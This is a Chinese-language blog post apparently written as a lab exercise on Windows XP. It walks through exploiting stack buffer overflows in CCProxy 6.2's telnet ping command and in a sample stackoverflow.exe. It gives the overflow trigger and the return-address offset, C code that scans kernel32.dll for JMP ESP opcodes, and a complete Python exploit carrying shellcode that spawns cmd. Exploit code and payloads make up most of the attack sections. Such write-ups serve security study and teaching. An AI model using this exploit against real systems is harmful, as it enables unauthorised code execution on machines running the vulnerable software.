HackPluto's Blog

CCProxy栈溢出漏洞分析及利用

字数统计: 1.9k阅读时长: 8 min
2019/11/01 Share

实验环境

分析机:winXP SP3(吾爱破解版)IP:172.20.10.3

漏洞分析

介绍CCProxy

CCProxy因其设 置简单和使用方便 等特点,成为国内 最受欢迎的代理服 务器软件。CCProxy不但支 持常见的HTTP和 SOCKS代理,而且还 支持FTP和Telnet这 类不常用的协议及 其它协议。

  1. 邮件:邮件代理服务,如果服务器上已经安装了邮件服务器,那么请取消该选项。
  2. DNS:域名解析服务,如果服务器上已经另行配置了DNS服务器,那么请取消该选项,如果启用该选项,那么请确保在客户端的网络设置中将DNS地址设置成CCProxy服务器的地址。
  3. 网页缓存:对应上网时的缓存功能,可提高网络访问速度。
  4. 远程拨号:用来进行自动拨号的,如果您的服务器上已经创建了拨号连接,那么可勾选该选项,然后才能在高级设置中的“拨号”标签下进行后续设置以实现自动拨号的功能。
  5. 自动启动:用来确认CCProxy是否随系统启动。
  6. 自动隐藏:用来确认CCProxy启动后是否自动隐藏至系统托盘。
  7. 端口映射:有些网络应用要使用到端口映射功能(比如GMail的IMAP接收方式),这时就要勾选该选项,并点击后面的“E”按钮,进入图1-2所示的界面进行端口映射的设置,下图是为GMail的IMAP服务所做端口映射的例子。

漏洞说明及演示

漏洞说明

CCProxy在代理Telnet协议时,可以接受
Ping命令

1
Ping命令格式:ping hostname\r\n

当hostname的长度大于或者等于1010字 节时,CCProxy 6.2会发生缓冲区溢出,导致程序崩溃.

漏洞演示

1.使用telnet连接目标主机

1
telnet 172.20.10.3 23

2.先输入4个字符

3.使用python脚本输出1000个字符,程序崩溃

CCproxy漏洞利用

定位溢出点分析

用CDB将程序挂起

1
cdb –pn ccproxy.exe

在攻击主机上按前面所述telnet到目标主机上,并通过ping命令把2000个A组成的字符串发送到CCProxy时,CDB捕捉到CCProxy 的Access Violation事件

可以发现,EIP的内容为6161616161(字符a的
ASCII码是0x61)这是因为栈中存放RET值的地方已经被61616161 覆盖,当函数返回时,就将这个值弹出到EIP寄存器。我自己写了一个py脚本利用一串不重复的字符填充缓冲区,然后查看覆盖RET的字符串,计算它们在整个字 符串中的位置,从而得出缓冲区的大小及RET的偏移

1
2
3
4
5
6
7
8
9
a = ""
for i in range(65,91):
a += chr(i)
for j in range(97,123):
a += chr(j)
for k in range(1,5):
a += str(k)

print(a)

通过计算出它在整个长为2000的字符串中的偏移是1012,这说明,RET相对缓冲区的偏移大小是1012字节。

填充shellcode

如果是500字节的shellcode应该如何防止最好?这个程序的缓冲区是充足的足足有1008个字节,所以把shellcode放在缓冲区里理论上是行的通的,但是如果放在了缓冲区里就需要知道缓冲区的地址才可以在pop EIP的时候给EIP赋予正确的指令地址,这个方法要想实施下去就比较困难了,需要使用IDA去反汇编这个程序,看看这个地方的缓冲区地址是多少,如果是写死的地址那还可以利用,如果是动态生成的地址空间就没有办法获取准确的地址了。所以这个地方我还是想利用最基本的利用JMP ESP实现跳转,因为在kernel32.dll里就有这个指令的地址。所以最终的payload为:

1
'A'*1012+JMP_ESP_addr+shellcode

stackoverflow.exe漏洞利用

定位溢出点分析

使用IDA分析

漏洞点很明显,strcpy函数没有限制拷贝的长度,这里存在栈溢出漏洞。v4的位置是EBP-0x10,所以溢出点就在EBP偏移16个字节,这个程序v4的空间比较小,只有16字节,如果我们要构造的shellcode有上百个字节长就不能放在v4中,需要将shellcode放在返回地址的后面,返回地址使用jmp esp的地址,构造的payload为

1
'A'*16+'BBBB'+jmp_esp_address+shellcode

编写shellcode

获取JMP ESP的地址

接下来,我们要做的事情就是获取JMP ESP的地址,
下面的代码就能实现在kernel32.dll中搜索Jmp Esp的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include "windows.h"
#include "stdio.h"
#include "stdlib.h"

int main()
{
BYTE *ptr;
int position;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary("kernel32.dll");
if(!handle)
{
printf("load dll error!");
exit(0);
}
ptr = (BYTE*)handle;

for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position]==0xFF && ptr[position+1]==0xE4)
{
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
return 0;
}

搜到很多,随意找个地址,比如第一个 0x7c874413。由于是小端的字节序所以倒过来就是\x13\x44\x87\x7c。

发送payload

在Windows上和Linux上做PWN还是有一些区别的,尤其是这里的发送payload有些不习惯,在命令行中直接输入\x显然是不合适。在这里我使用了python的管道操作,也就是popen函数
os.popen() 方法用于从一个命令打开一个管道。
语法
popen()方法语法格式如下:
os.popen(command[, mode[, bufsize]])
参数
command – 使用的命令。
mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。
bufsize – 指明了文件需要的缓冲大小:0意味着无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲(大概值,以字节为单位)。负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;对于其它文件,它是全缓冲。如果没有改参数,使用系统的默认值。

随便写一个程序作为检验

1
2
3
4
5
import os
payload = "aaaaaa"
pipe = os.popen("stackoverflow.exe "+payload)
ans = pipe.read()
print ans

为了检验上面计算出的JMP ESP指令能不能使用,我现在发送下面这个payload

1
aaaaaaaaaaaaaaaa\x13\x44\x87\x7caaaa

1
2
3
4
5
import os
payload = "aaaaaaaaaaaaaaaa\x13\x44\x87\x7caaaa"
pipe = os.popen("stackoverflow.exe "+payload)
ans = pipe.read()
print ans

程序没有报错,说明返回值正确,那么现在就是加入正确的shellcode即可
我在网上找到了一个打开CMD命令行的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*覆盖eip, jmp esp 地址7ffa4512*/
"\x12\x45\xfa\x7f"
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"
"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"
"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"
"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"
"\x8d\x45\xf4\x50\xb8"
/* LoadLibrary 的地址*/
"\x77\x1d\x80\x7c"
"\xff\xd0"
"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"
"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"
"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"
"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"
"\xba"
/*System 的地址*/
"\xc7\x93\xbf\x77"
"\xff\xd2";

根据上面的shellcode写出脚本

1
2
3
4
5
6
import os
payload = "aaaaaaaaaaaaaaaa\x13\x44\x87\x7c\x12\x45\xfa\x7f\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c\x8d\x45\xf4\x50\xb8\x77\x1d\x80\x7c\xff\xd0\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57\xba\xc7\x93\xbf\x77\xff\xd2"

pipe = os.popen("stackoverflow.exe "+payload)
ans = pipe.read()
print ans

成功PWN

CATALOG
  1. 1. 实验环境
  2. 2. 漏洞分析
    1. 2.1. 介绍CCProxy
    2. 2.2. 漏洞说明及演示
      1. 2.2.1. 漏洞说明
      2. 2.2.2. 漏洞演示
      3. 2.2.3. CCproxy漏洞利用
        1. 2.2.3.1. 定位溢出点分析
        2. 2.2.3.2. 填充shellcode
      4. 2.2.4. stackoverflow.exe漏洞利用
        1. 2.2.4.1. 定位溢出点分析
        2. 2.2.4.2. 编写shellcode
          1. 2.2.4.2.1. 获取JMP ESP的地址
        3. 2.2.4.3. 发送payload